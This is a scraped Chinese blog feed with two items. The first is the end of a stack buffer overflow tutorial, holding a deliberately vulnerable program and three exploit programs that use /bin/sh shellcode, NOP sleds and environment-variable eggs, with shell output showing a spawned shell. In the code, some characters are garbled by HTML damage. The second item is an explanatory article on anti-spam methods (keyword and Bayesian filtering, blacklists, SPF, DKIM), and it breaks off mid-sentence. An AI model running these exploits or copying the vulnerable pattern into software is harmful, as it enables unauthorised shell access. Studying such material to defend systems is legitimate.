<P>lt;++&gt; buffer/getsp.c <BR>unsigned long get_sp(void){ <BR>__asm__("movl %esp, %eax); <BR>} <BR>void main(){ <BR>fprintf(stdout,"0x%xn",get_sp()); <BR>} <BR>lt;--&gt; end of getsp.c</P>
<P>试一下下面这个例子 </P>
<P>lt;++&gt; buffer/hole.c <BR>void main(int argc,char **argv［］){ <BR>char buffer［512］; <BR>if (argc &gt; 1) /* otherwise we crash our little program */ <BR>trcpy(buffer,argv［1］); <BR>} <BR>lt;--&gt; end of hole.c <BR>lt;++&gt; buffer/exploit1.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>tr += 4; <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>memcpy(buff,"BUF=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>lt;--&gt; end of exploit1.c</P>
<P>现在我们可以猜出offset (bufferaddress = stackpointer + offset). </P>
<P>［hosts］$ exploit1 600 </P>
<P>Using address: 0xbffff6c3 </P>
<P>［hosts］$ ./hole $BUF </P>
<P>［hosts］$ exploit1 600 100 </P>
<P>Using address: 0xbffffce6 </P>
<P>［hosts］$ ./hole $BUF </P>
<P>egmentation fault </P>
<P>etc. </P>
<P>etc. </P>
<P>就象你所知道的那样，这个过程几乎是不可能发生的，这样，我们不得不去猜出更精确的溢出地址。为了增加我们的机会，我们可以在我们的缓冲溢出的shellcode前加上 NOP（空操作）指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中，我们的代码就可以在下面一步执行了。 </P>
<P>存储器的内容应该是这样的: </P>
<P>FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF </P>
<P>N = NOP </P>
<P>S = shellcode </P>
<P>A = address pointing to the shellcode </P>
<P>F = other data </P>
<P>我们把原先的代码改了一下 </P>
<P>lt;++&gt; buffer/exploit2.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define NOP 0x90 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>for (i = 0; i &lt; bsize/2; i++) <BR>uff［i］ = NOP; <BR>tr = buff + ((bsize/2) - (strlen(shellcode)/2)); <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>memcpy(buff,"BUF=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>lt;--&gt; end of exploit2.c <BR>［hosts］$ exploit2 600 <BR>Using address: 0xbffff6c3 <BR>［hosts］$ ./hole $BUF <BR>egmentation fault <BR>［hosts］$ exploit2 600 100 <BR>Using address: 0xbffffce6 <BR>［hosts］$ ./hole $BUF <BR>#exit <BR>［hosts］$<BR>&nbsp;<BR>为了更完善我们的代码，我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用，并把shellcode送到环境变量中去。 </P>
<P>lt;++&gt; buffer/exploit3.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define DEFAULT_EGG_SIZE 2048 <BR>#define NOP 0x90 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_esp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr, *egg; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i, eggsize=DEFAULT_EGG_SIZE; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (argc &gt; 3) eggsize = atoi(argv［3］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>if (!(egg = malloc(eggsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_esp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>tr = egg; <BR>for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++) <BR>*(ptr++) = NOP; <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>egg［eggsize - 1］ = '0'; <BR>memcpy(egg,"BUF=",4); <BR>utenv(egg); <BR>memcpy(buff,"RET=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>end of exploit3.c <BR>［hosts］$ exploit2 600 <BR>Using address: 0xbffff5d7 <BR>［hosts］$ ./hole $RET <BR>#exit <BR>［hosts］$</P>
<P>寻找溢出 </P>
<P>当然有能更准确找到缓冲溢出的方法，那就是读它的源程序。因为Linux是个开放的系统，你很容易就可以得到它的源程序。 </P>
<P>寻找没有边界校验的库函数调用，如: </P>
<P>trcpy(), strcat(), sprintf(), vsprintf(), scanf() </P>
<P>其他的具有危险的函数如：在&#8220;当型&#8221;循环中的getc()和getchar()，strncat函数的错误使用。</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239958.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42807/" target="_blank">[新闻]Mono 2.0终于到来</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>反垃圾邮件技术解析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 29 Aug 2005 12:14:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/225559.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/225559.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/225559.html</trackback:ping><description><![CDATA[<P>反垃圾邮件技术解析</P>
<P>作者：refdom</P>
<P>1、概述<BR>&nbsp;&nbsp;&nbsp; 电子邮件是最常用的网络应用之一，已经成为网络交流沟通的重要途径。但是，垃圾邮件（spam）烦恼着大多数人，近来的调查显示，93%的被调查者都对他们接收到的大量垃圾邮件非常不满。一些简单的垃圾邮件事件也造成了很有影响的安全问题。日益增加的垃圾邮件现在会造成1年94亿美元的损失（来自chinabyte上一则新闻的数据），在一些文章表明，垃圾邮件可能会花费一个公司内每个用户600到1000美元。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件随着互联网的不断发展而大量增长，不再像以前一样，只是小小的一个骚扰，现在的垃圾邮件可以说是铺天盖地了。最初，垃圾邮件主要是一些不请自来的商业宣传电子邮件，而现在更多的有关色情、政治的垃圾邮件不断增加，甚至达到了总垃圾邮件量的40%左右，并且仍然有持续增长的趋势。另一方面，垃圾邮件成了计算机病毒新的、快速的传播途径。<BR>&nbsp;&nbsp;&nbsp; 而且目前世界上50%的邮件都是垃圾邮件，只有少数组织承担责任。很多反垃圾邮件的措施都被提出出来，但是只有非常少的被实施了。不幸的是，这些解决办法也都还不能完全阻止垃圾邮件，而且还对正常的邮件来往产生影响。</P>
<P>1.1、什么是垃圾邮件？<BR>&nbsp;&nbsp;&nbsp; 某种程度上，对垃圾邮件的定义可以是：那些人们没有意愿去接收到的电子邮件都是垃圾邮件。比如：<BR>&nbsp;&nbsp;&nbsp; *商业广告。很多公司为了宣传新的产品、新的活动等通过电子邮件的方式进行宣传。<BR>&nbsp;&nbsp;&nbsp; *政治言论。目前会收到不少来自其他国家或者反动组织发送的这类电子邮件，这就跟垃圾的商业广告一样，销售和贩卖他们的所谓言论。<BR>&nbsp;&nbsp;&nbsp; *蠕虫病毒邮件。越来越多的病毒通过电子邮件来迅速传播，这也的确是一条迅速而且有效的传播途径。<BR>&nbsp;&nbsp;&nbsp; *恶意邮件。恐吓、欺骗性邮件。比如phishing，这是一种假冒网页的电子邮件，完全是一种诡计，来蒙骗用户的个人信息、账号甚至信用卡。</P>
<P>&nbsp;&nbsp;&nbsp; 普通个人的电子邮箱怎么成为了垃圾邮件的目标呢，造成这样的结果有很多原因，比如在网站、论坛等地方注册了邮件地址，病毒等在朋友的邮箱中找到了你的电子邮箱，对邮件提供商进行的用户枚举，等等。通常情况下，越少暴露电子邮件地址越少接收到垃圾邮件，使用时间越短越少接收到垃圾邮件。一些无奈的用户就选择了放弃自己的邮箱而更换新的电子邮箱。</P>
<P>1.2、安全问题<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件给互联网以及广大的使用者带来了很大的影响，这种影响不仅仅是人们需要花费时间来处理垃圾邮件、占用系统资源等，同时也带来了很多的安全问题。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件占用了大量网络资源，这是显而易见的。一些邮件服务器因为安全性差，被作为垃圾邮件转发站为被警告、封IP等事件时有发生，大量消耗的网络资源使得正常的业务运作变得缓慢。随着国际上反垃圾邮件的发展，组织间黑名单共享，使得无辜服务器被更大范围屏蔽，这无疑会给正常用户的使用造成严重问题。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件和黑客攻击、病毒等结合也越来越密切，比如，SoBig蠕虫就安装开放的，可以用来支持邮件转发的代理。随着垃圾邮件的演变，用恶意代码或者监视软件等来支持垃圾邮件已经明显地增加了。2003年12月31，巴西的一个黑客组织发送包含恶意javascript脚本的垃圾邮件给数百万用户，那些通过Hotmail来浏览这些垃圾邮件的人们在不知不觉中已经泄露了他们的账号。另外一个例子就是，近来IE的URL显示问题，在主机名前添加"%01"可以隐藏真实的主机地址，在被发布之后几个星期内就出现在垃圾邮件中了。<BR>越来越具有欺骗性的病毒邮件，让很多企业深受其害，即便采取了很好的网络保护策略，依然很难避免，越来越多的安全事件都是因为邮件产生的，可能是病毒、木马或者其他恶意程序。Phishing的假冒诡计对于普通使用者来说，的确很难作出正确的判断，但是造成的损失却是很直接的。</P>
<P>2、反垃圾邮件技术</P>
<P>&nbsp;&nbsp;&nbsp; 已经存在的和在被提及的反垃圾邮件方法试图来减少垃圾邮件问题和处理安全需求。通过正确的识别垃圾邮件，邮件病毒或者邮件攻击程序等都会减少。这些解决方法采取多种安全途径来努力阻止垃圾邮件。<BR>Dr. Neal Krawetz在Anti-Spam Solutions and Security[ref 1]文中将反垃圾邮件技术作了非常好的分类。当前的反垃圾邮件技术可以分为4大类：过滤器（Filter）、反向查询(Reverse lookup)、挑战(challenges)和密码术(cryptography),这些解决办法都可以减少垃圾邮件问题，但是都有它们的局限性。本文将在下面的内容讨论这些技术以及一些主要技术的实现。</P>
<P>2.1、过滤<BR>&nbsp;&nbsp;&nbsp; 过滤（Filter）是一种相对来说最简单却很直接的处理垃圾邮件技术。这种技术主要用于接收系统（MUA，如OUTLOOK EXPRESS或者MTA，如sendmail）来辨别和处理垃圾邮件。从应用情况来看，这种技术也是使用最广泛的，比如很多邮件服务器上的反垃圾邮件插件、反垃圾邮件网关、客户端上的反垃圾邮件功能等，都是采用的过滤技术。</P>
<P>2.1.1、关键词过滤<BR>&nbsp;&nbsp;&nbsp; 关键词过滤技术通常创建一些简单或复杂的与垃圾邮件关联的单词表来识别和处理垃圾邮件。比如某些关键词大量出现在垃圾邮件中，如一些病毒的邮件标题，比如：test。这种方式比较类似反病毒软件利用的病毒特征一样。可以说这是一种简单的内容过滤方式来处理垃圾邮件，它的基础是必须创建一个庞大的过滤关键词列表。<BR>&nbsp;&nbsp;&nbsp; 这种技术缺陷很明显，过滤的能力同关键词有明显联系，关键词列表也会造成错报可能比较大，当然系统采用这种技术来处理邮件的时候消耗的系统资源会比较多。并且，一般躲避关键词的技术比如拆词，组词就很容易绕过过滤。</P>
<P>2.1.2、黑白名单<BR>&nbsp;&nbsp;&nbsp; 黑名单（Black List）和白名单（White List）。分别是已知的垃圾邮件发送者或可信任的发送者IP地址或者邮件地址。现在有很多组织都在做*bl（block list），将那些经常发送垃圾邮件的IP地址（甚至IP地址范围）收集在一起，做成block list，比如spamhaus的SBL（Spamhaus Block List），一个BL，可以在很大范围内共享。许多ISP正在采用一些组织的BL来阻止接收垃圾邮件。白名单则与黑名单相反，对于那些信任的邮件地址或者IP就完全接受了。<BR>&nbsp;&nbsp;&nbsp; 目前很多邮件接收端都采用了黑白名单的方式来处理垃圾邮件，包括MUA和MTA，当然在MTA中使用得更广泛，这样可以有效地减少服务器的负担。</P>
<P>&nbsp;&nbsp;&nbsp; BL技术也有明显的缺陷，因为不能在block list中包含所有的（即便是大量）的IP地址，而且垃圾邮件发送者很容易通过不同的IP地址来制造垃圾。</P>
<P>2.1.3&nbsp;&nbsp;&nbsp; HASH技术<BR>&nbsp;&nbsp;&nbsp; HASH技术是邮件系统通过创建HASH来描述邮件内容，比如将邮件的内容、发件人等作为参数，最后计算得出这个邮件的HASH来描述这个邮件。如果HASH相同，那么说明邮件内容、发件人等相同。这在一些ISP上在采用，如果出现重复的HASH值，那么就可以怀疑是大批量发送邮件了。</P>
<P>2.1.4&nbsp;&nbsp;&nbsp; 基于规则的过滤<BR>&nbsp;&nbsp;&nbsp; 这种过滤根据某些特征（比如单词、词组、位置、大小、附件等）来形成规则，通过这些规则来描述垃圾邮件，就好比IDS中描述一条入侵事件一样。要使得过滤器有效，就意味着管理人员要维护一个庞大的规则库。</P>
<P>2.1.5&nbsp;&nbsp;&nbsp; 智能和概率系统<BR>&nbsp;&nbsp;&nbsp; 广泛使用的就是贝叶斯(Bayesian)算法，可以学习单词的频率和模式，这样可以同垃圾邮件和正常邮件关联起来进行判断。这是一种相对于关键字来说，更复杂和更智能化的内容过滤技术。我将在下面详细描述这种在客户端和服务器中使用最广泛的技术。</P>
<P>2.1.5.1&nbsp;&nbsp;&nbsp; Bayesian 贝叶斯算法<BR>&nbsp;&nbsp;&nbsp; 在过滤器中，现在表现最好的应该是基于评分(score)的过滤器，因为我们很容易就可以明白对付狡猾的垃圾邮件，那些黑白名单、关键词库或者HASH等过滤器是多么的简单。评分系统过滤器是一种最基本的算法过滤器，也是贝叶斯算法的基本雏形。它的原理就是检查垃圾邮件中的词或字符等，将每个特征元素（最简单的元素就是单词，复杂点的元素就是短语）都给出一个分数（正分数），另一方面就是检查正常邮件的特征元素，用来降低得分的（负分数）。最后邮件整体就得到一个垃圾邮件总分，通过这个分数来判断是否spam。</P>
<P>&nbsp;&nbsp;&nbsp; 这种评分过滤器尽量实现了自动识别垃圾邮件的功能，但是依然存在一些不适应的问题：<BR>&nbsp;&nbsp;&nbsp; *特征元素列表通过垃圾邮件或者正常邮件获得。因此，要提高识别垃圾邮件的效果，就要从数百邮件中来学习，这降低了过滤器效率，因为对于不同人来说，正常邮件的特征元素是不一样的。<BR>&nbsp;&nbsp;&nbsp; *获得特征元素分析的邮件数量多少是一个关键。如果垃圾邮件发送者也适应了这些特征，就可能让垃圾邮件更象正常邮件。这样的话，过滤特征就要更改了。<BR>&nbsp;&nbsp;&nbsp; *每个词计算的分数应该基于一种很好的评价，但是还是有随意性。比如，特征就可能不会适应垃圾邮件的单词变化，也不会适应某个用户的需要。</P>
<P>&nbsp;&nbsp;&nbsp; 贝叶斯理论现在在计算机行业中应用相当广泛，这是一种对事物的不确定性描述，比如google计算中就采用了贝叶斯理论。贝叶斯算法的过滤器就是计算邮件内容中成为垃圾邮件的概率，它要首先从许多垃圾邮件和正常邮件中进行学习，因此，效果将比普通的内容过滤器更优秀，错报就会更少。贝叶斯过滤器也是一种基于评分的过滤器。但不仅仅是一种简单的计算分数，而更从根本上来识别。它采用自动建立特征表的方式，原理上，首先分析大量的垃圾邮件和大量的正常邮件，算法分析邮件中多种特征出现概率。</P>
<P>&nbsp;&nbsp;&nbsp; 贝叶斯算法计算特征的来源通常是：<BR>&#183;邮件正文中的单词<BR>&#183;邮件头（发送者、传递路径等）<BR>&#183;其他表现，比如HTML编码（如颜色等）<BR>&#183;词组、短语<BR>&#183;meta信息，比如特殊短语出现位置等</P>
<P>&nbsp;&nbsp; 比如，正常邮件中经常出现单词AAA，但是基本不在垃圾邮件中出现，那么，AAA标示垃圾邮件的概率就接近0，反之则然。</P>
<P>贝叶斯算法的步骤为：<BR>1. 收集大量的垃圾邮件和非垃圾邮件，建立垃圾邮件集和非垃圾邮件集。 <BR>2. 提取特征来源中的独立字符串，例如 AAA等作为TOKEN串并统计提取出的TOKEN串出现的次数即字频。按照上述的方法分别处理垃圾邮件集和非垃圾邮件集中的所有邮件。 <BR>3. 每一个邮件集对应一个哈希表，hashtable_good对应非垃圾邮件集而hashtable_bad对应垃圾邮件集。表中存储TOKEN串到字频的映射关系。 <BR>4. 计算每个哈希表中TOKEN串出现的概率P=(某TOKEN串的字频)/(对应哈希表的长度)<BR>5. 综合考虑hashtable_good和hashtable_bad，推断出当新来的邮件中出现某个TOKEN串时，该新邮件为垃圾邮件的概率。数学表达式为： <BR>　　A 事件 ---- 邮件为垃圾邮件； <BR>　　t1,t2 &#8230;&#8230;.tn 代表 TOKEN 串 <BR>　　则 P(A|ti)表示在邮件中出现 TOKEN 串 ti 时，该邮件为垃圾邮件的概率。设<BR>　　P1(ti)=ti 在 hashtable_good 中的值<BR>　　P2(ti)=ti 在 hashtable_ bad 中的值<BR>　　则 P(A|ti)=P2(ti)/[(P1(ti)+P2(ti)] ； <BR>6. 建立新的哈希表hashtable_probability存储TOKEN串ti到P(A|ti)的映射 <BR>7.根据建立的哈希表 hashtable_probability可以估计一封新到的邮件为垃圾邮件的可能性。 <BR>&nbsp;&nbsp;&nbsp; 当新到一封邮件时，按照步骤2，生成TOKEN串。查询hashtable_probability得到该TOKEN 串的键值。假设由该邮件共得到N个TOKEN 串，t1,t2&#8230;&#8230;.tn,hashtable_probability中对应的值为 P1 ，P2 ，&#8230;&#8230;PN ，P(A|t1 ,t2, t3&#8230;&#8230;tn) 表示在邮件中同时出现多个TOKEN串t1,t2&#8230;&#8230;tn时，该邮件为垃圾邮件的概率。 <BR>&nbsp;&nbsp;&nbsp; 由复合概率公式可得:<BR>P(A|t1 ,t2, t3&#8230;&#8230;tn)=（P1*P2*&#8230;&#8230;PN）/[P1*P2*&#8230;&#8230;PN+（1-P1）*（1-P2）*&#8230;&#8230;（1-PN）] <BR>当 P(A|t1 ,t2, t3&#8230;&#8230;tn) 超过预定阈值时，就可以判断邮件为垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 当新邮件到达的时候，就通过贝叶斯过滤器分析，通过使用各个特征来计算邮件是spam的概率。通过不断的分析，过滤器也不断地获得自更新。比如，通过各种特征判断一个包含单词AAA的邮件是spam，那么单词AAA成为垃圾邮件特征的概率就增加了。</P>
<P>&nbsp;&nbsp;&nbsp; 这样，贝叶斯过滤器就有了自适应能力，既能自动进行，也可以用户手工操作，也就更能适应单个用户的使用。而垃圾邮件发送者要获得这样的适应能力就很难了，因此，更难逃避过滤器的过滤，但他们当然还是能够将邮件伪装成很普遍的正常邮件的样子。除非垃圾邮件发送者能去对某个人的过滤器进行判断，比如，采用发送回执的办法来了解哪些邮件被用户打开了等，这样他们就可以适应过滤器了。<BR>虽然贝叶斯过滤器还存在有评分过滤器的缺陷，但是它更优化了。实践也证明，贝叶斯过滤器在客户端和服务器中效果是非常明显的，优秀的贝叶斯过滤器能够识别超过99.9%的垃圾邮件。大多数目前应用的反垃圾邮件产品都采用了这样的技术。比如Foxmail中的贝叶斯过滤。</P>
<P>2.1.6&nbsp;&nbsp;&nbsp; 局限性和缺点<BR>&nbsp;&nbsp;&nbsp; 现行的很多采用过滤器技术的反垃圾邮件产品通常都采用了多种过滤器技术，以便使产品更为有效。过滤器通过他们的误报和漏报来分等级。漏报就是指垃圾邮件绕过了过滤器的过滤。而误报则是将正常的邮件判断为了垃圾邮件。完美的过滤器系统应该是不存在漏报和误报的，但是这是理想情况。</P>
<P>&nbsp;&nbsp;&nbsp; 一些基于过滤器原理的反垃圾邮件系统通常有下面的三种局限性：<BR>&nbsp;&nbsp;&nbsp; &#183;可能被绕过。垃圾邮件发送者和他们用的发送工具也不是静态的，他们也会很快适应过滤器。比如，针对关键字列表，他们可以随机更改一些单词的拼写，比如("强悍", "弓虽悍", "强-悍").Hash-buster（在每个邮件中产生不同的HASH）就是来绕过hash过滤器的。当前普遍使用的贝叶斯过滤器可以通过插入随机单词或句子来绕过。多数过滤器都最多只能在少数几周才最有效，为了保持反垃圾邮件系统的实用性，过滤器规则就必须不断更新，比如每天或者每周更新。<BR>&nbsp;&nbsp;&nbsp; &#183;误报问题。最头痛的问题就是将正常邮件判断为垃圾邮件。比如，一封包含单词sample的正常邮件可能因此被判断为垃圾邮件。某些正常服务器不幸包含在不负责任的组织发布的block list对某个网段进行屏蔽中，而不是因为发送了垃圾邮件（xfocus的服务器就是这样的一个例子）。但是，如果要减少误报问题，就可能造成严重的漏报问题了。<BR>&nbsp;&nbsp;&nbsp; &#183;过滤器复查。由于误报问题的存在，通常被标记为垃圾邮件的消息一般不会被立刻删除，而是被放置到垃圾邮件箱里面，以便日后检查。不幸的是，这也意味着用户仍然必须花费时间去察看垃圾邮件，即便仅仅只针对邮件标题。</P>
<P>&nbsp;&nbsp;&nbsp; 目前更严重的问题是，人们依然认为过滤器能有效阻止垃圾邮件。实际上，垃圾邮件过滤器并不能有效阻止垃圾邮件，在多数案例中，垃圾邮件依然存在，依然穿过了网络，并且依然被传播。除非用户不介意存在被误报的邮件，不介意依然会浏览垃圾邮件。过滤器可以帮助我们来组织并分隔邮件为垃圾邮件和正常邮件，但是过滤器技术并不能阻止垃圾邮件，实际上只是在"处理"垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管过滤器技术存在局限，但是，这是目前最为广泛使用的反垃圾邮件技术。</P>
<P>2.2、验证查询<BR>&nbsp;&nbsp;&nbsp; SMTP在设计的时候并没有考虑到安全问题。在1973年，计算机安全还没有什么意义，那个时候能够有一个可执行的邮件协议已经很了不起了。比如，RFC524描述将SMTP作为独立协议的一些情况：</P>
<P>&nbsp;&nbsp;&nbsp; "虽然人们可以或者可能可以，以本文档为基础设计软件，但请恰如其分地进行批注。请提出建议和问题。我坚信协议中依然存在问题，我希望读者能够阅读RFC的时候能够将它们都指出来。"</P>
<P>&nbsp;&nbsp;&nbsp; 尽管SMTP的命令组已经发展了很长时间，但是人们还是以RFC524为基础来执行SMTP的，而且还都假定问题（比如安全问题）都会在以后被解决。因此直到2004年，源自RFC524中的错误还是依然存在，这个时候SMTP已经变得非常广泛而很难简单被代替。垃圾邮件就是一个滥用SMTP协议的例子，多数垃圾邮件工具都可以伪造邮件头，伪造发送者，或者隐藏源头。</P>
<P>&nbsp;&nbsp;&nbsp; 垃圾邮件一般都是使用的伪造的发送者地址，极少数的垃圾邮件才会用真实地址。垃圾邮件发送者伪造邮件有下面的几个原因：<BR>&nbsp;&nbsp;&nbsp; *因为是违法的。在多个国家内，发送垃圾邮件都是违法行为，通过伪造发送地址，发送者就可能避免被起诉。<BR>&nbsp;&nbsp;&nbsp; *因为不受欢迎。垃圾邮件发送者都明白垃圾邮件是不受欢迎的。通过伪造发送者地址，就可能减少这种反应。<BR>&nbsp;&nbsp;&nbsp; *受到ISP的限制。多数ISP都有防止垃圾邮件的服务条款，通过伪造发送者地址，他们可以减少被ISP禁止网络访问的可能性。</P>
<P>&nbsp;&nbsp;&nbsp; 因此，如果我们能够采用类似黑白名单一样，能够更智能地识别哪些是伪造的邮件，哪些是合法的邮件，那么就能从很大程度上解决垃圾邮件问题，验证查询技术正是基于这样的出发点而产生的。以下还会解析一些主要的反垃圾邮件技术，比如Yahoo!、微软、IBM等所倡导和主持的反垃圾邮件技术，把它们划分在反向验证查询技术中并不是很恰当，但是，从某种角度来说，这些技术都是更复杂的验证查询。</P>
<P>2.2.1、反向查询技术<BR>&nbsp;&nbsp;&nbsp; 从垃圾邮件的伪造角度来说，能够解决邮件的伪造问题，就可以避免大量垃圾邮件的产生。为了限制伪造发送者地址，一些系统要求验证发送者邮件地址，这些系统包括：<BR>&nbsp;&nbsp;&nbsp; 反向邮件交换（RMX）&lt;<A href="http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt">http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt</A>&gt; <BR>&nbsp;&nbsp;&nbsp; 发送者许可（SPF）&lt;<A href="http://spf.pobox.com/">http://spf.pobox.com/</A>&gt; <BR>&nbsp;&nbsp;&nbsp; 标明邮件协议（DMP）&lt;<A href="http://www.pan-am.ca/dmp/">http://www.pan-am.ca/dmp/</A>&gt; </P>
<P>&nbsp;&nbsp;&nbsp; 这些技术都比较相近。DNS是全球互联网服务来处理IP地址和域名之间的转化。在1986年，DNS扩展，并有了邮件交换纪录（MX），当发送邮件的时候，邮件服务器通过查询MX纪录来对应接收者的域名。</P>
<P>&nbsp;&nbsp;&nbsp; 类似于MX纪录，反向查询解决方案就是定义反向的MX纪录（"RMX"--RMX，"SPF"--SPF，"DMP"--DMP），用来判断是否邮件的指定域名和IP地址是完全对应的。基本原因就是伪造邮件的地址是不会真实来自RMX地址，因此可以判断是否伪造。</P>
<P>2.2.2&nbsp;&nbsp;&nbsp; DKIM技术<BR>&nbsp;&nbsp;&nbsp; DKIM（DomainKeys Identified Mail）技术基于雅虎的DomainKeys验证技术和思科的Internet Identified Mail。<BR>&nbsp;&nbsp;&nbsp; 雅虎的DomainKeys利用公共密钥密码术验证电子邮件发件人。发送系统生成一个签名并把签名插入电子邮件标题，而接收系统利用DNS发布的一个公共密钥验证这个签名。 思科的验证技术也利用密码术，但它把签名和电子邮件消息本身关联。发送服务器为电子邮件消息签名并把签名和用于生成签名的公共密钥插入一个新标题。而接收系统验证这个用于为电子邮件消息签名的公共密钥是授权给这个发件地址使用的。 </P>
<P>&nbsp;&nbsp;&nbsp; DKIM将把这两个验证系统整合起来。它将以和DomainKeys相同的方式用DNS发布的公共密钥验证签名，它也将利用思科的标题签名技术确保一致性。<BR>&nbsp;&nbsp;&nbsp; DKIM给邮件提供一种机制来同时验证每个域邮件发送者和消息的完整性。一旦域能被验证，就用来同邮件中的发送者地址作比较检测伪造。如果是伪造，那么可能是spam或者是欺骗邮件，就可以被丢弃。如果不是伪造的，并且域是已知的，可为其建立起良好的声誉，并绑定到反垃圾邮件策略系统中，也可以在服务提供商之间共享，甚至直接提供给用户。<BR>&nbsp;&nbsp;&nbsp; 对于知名公司来说，通常需要发送各种业务邮件给客户、银行等，这样，邮件的确认就显得很重要。可以保护避免受到phishing攻击。<BR>&nbsp;&nbsp;&nbsp; 现在，DKIM技术标准提交给IETF，可以参考draft文档<A 